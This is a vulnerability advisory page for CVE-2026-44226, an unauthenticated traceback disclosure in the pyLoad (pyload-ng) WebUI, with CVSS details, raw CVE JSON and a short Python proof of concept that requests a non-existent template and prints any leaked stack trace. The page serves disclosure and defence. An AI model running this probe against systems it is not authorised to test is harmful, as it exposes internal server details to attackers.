Security Vulnerability Report
中文
CVE-2026-44226 CVSS 5.3 MEDIUM

CVE-2026-44226

Published: 2026-05-11 18:16:38
Last Modified: 2026-05-11 19:16:26

Description

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, pyload-ng WebUI returns full Python traceback details to clients on unhandled exceptions. Because /web/<path:filename> is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response. This vulnerability is fixed in 0.5.0b3.dev100.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

pyLoad (pyload-ng) < 0.5.0b3.dev100

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_poc(url): # Construct the malicious path to trigger a template error target = f"{url.rstrip('/')}/web/non_existent_template.html" try: response = requests.get(target, timeout=5) # Check if Python traceback is present in the response if "Traceback (most recent call last):" in response.text: print(f"[+] Vulnerability confirmed at {target}") print("[+] Stack trace leaked:") print(response.text[:500]) # Print first 500 chars else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_url = "http://127.0.0.1:8000" # Replace with actual target check_poc(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44226", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:37.807", "lastModified": "2026-05-11T19:16:25.767", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, pyload-ng WebUI returns full Python traceback details to clients on unhandled exceptions. Because /web/<path:filename> is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response. This vulnerability is fixed in 0.5.0b3.dev100."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "references": [{"url": "https://github.com/pyload/pyload/security/advisories/GHSA-c3gc-9pf2-84gg", "source": "[email protected]"}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-c3gc-9pf2-84gg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}